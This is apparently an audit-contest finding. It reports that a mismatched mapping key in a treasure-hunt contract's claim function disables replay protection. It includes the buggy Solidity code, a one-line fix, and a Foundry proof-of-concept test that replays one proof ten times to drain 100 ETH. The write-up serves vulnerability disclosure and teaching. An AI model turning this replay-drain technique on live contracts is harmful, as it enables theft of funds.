SNARKeling Treasure Hunt
First Flight #59
Beginner FriendlyGameFiFoundry
100 EXP
View all submissions
Previous Next
Submission Details
Impact: high
Likelihood: high

[H-1] Wrong mapping key in `TreasureHunt::claim` permanently disables replay protection, allowing a single proof to drain all 100 ETH

Author Revealed upon completion

Wrong mapping key in TreasureHunt::claim permanently disables replay protection, allowing a single proof to drain all 100 ETH

Description

  • A recipient is supposed to be able to claim one treasure reward, after submitting a zero-knowledge proof showing they know the correct treasure secret in TreasureHunt::claim.

  • The duplicate-claim check in TreasureHunt::claim() reads from claimed[_treasureHash], where _treasureHash is a private immutable set at construction. However, _markClaimed writes to claimed[treasureHash], where treasureHash is the calldata argument passed by the caller. Because the check and the write operate on different keys, claimed[_treasureHash] starts false and is never set to true. The replay protection is permanently disabled.

function claim(bytes calldata proof, bytes32 treasureHash, address payable recipient) external nonReentrant {
if (paused) revert ContractPaused();
if (address(this).balance < REWARD) revert NotEnoughFunds();
if (recipient == address(0) || recipient == address(this) || recipient == owner || recipient == msg.sender) {
revert InvalidRecipient();
}
if (claimsCount >= MAX_TREASURES) revert AllTreasuresClaimed();
@> if (claimed[_treasureHash]) revert AlreadyClaimed(treasureHash); // @> reads from immutable _treasureHash, never written to
if (msg.sender == owner) revert OwnerCannotClaim();
.
.
.
function _markClaimed(bytes32 treasureHash) internal {
claimed[treasureHash] = true; // @> writes to calldata treasureHash, different key
}

Risk

Likelihood:

  • claimed[_treasureHash] checks the immutable _treasureHash key which is never written to by _markClaimed, then writes to claimed[treasureHash] (the calldata arg), meaning the duplicate guard never triggers on every single call.

  • A fresh caller replaying the same valid proof MAX_TREASURES times will always succeed, as the replay protection is permanently disabled from the moment of deployment.

Impact:

  • A single valid (proof, treasureHash, recipient) tuple can be replayed MAX_TREASURES times in sequence, draining the full 100 ETH from the contract.

  • The claimsCount counter does bound the damage to 10 calls, but within those 10 slots anyone's proof can sweep every reward from the contract.

Proof of Concept

function test_singleProofDrainsAllFunds() public {
(bytes memory proof, bytes32 treasureHash, address payable recipient) = _loadFixture();
​
uint256 contractBalanceBefore = address(hunt).balance;
uint256 recipientBalanceBefore = recipient.balance;
​
console.log("contract balance before:", contractBalanceBefore); // 100 ETH
console.log("recipient balance before:", recipientBalanceBefore); // 0
​
address caller = makeAddr("caller");
vm.startPrank(caller);
for (uint256 i = 0; i < hunt.MAX_TREASURES(); i++) {
hunt.claim(proof, treasureHash, recipient);
}
vm.stopPrank();
​
uint256 contractBalanceAfter = address(hunt).balance;
uint256 recipientBalanceAfter = recipient.balance;
​
console.log("contract balance after:", contractBalanceAfter); // 0
console.log("recipient balance after:", recipientBalanceAfter); // 100 ETH
​
assertEq(contractBalanceAfter, 0, "contract fully drained");
assertEq(
recipientBalanceAfter,
recipientBalanceBefore + INITIAL_FUNDING,
"recipient swept all 100 ETH with one proof"
);
}

Recommended Mitigation

-if (claimed[_treasureHash]) revert AlreadyClaimed(treasureHash);
​
+if (claimed[treasureHash]) revert AlreadyClaimed(treasureHash);

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!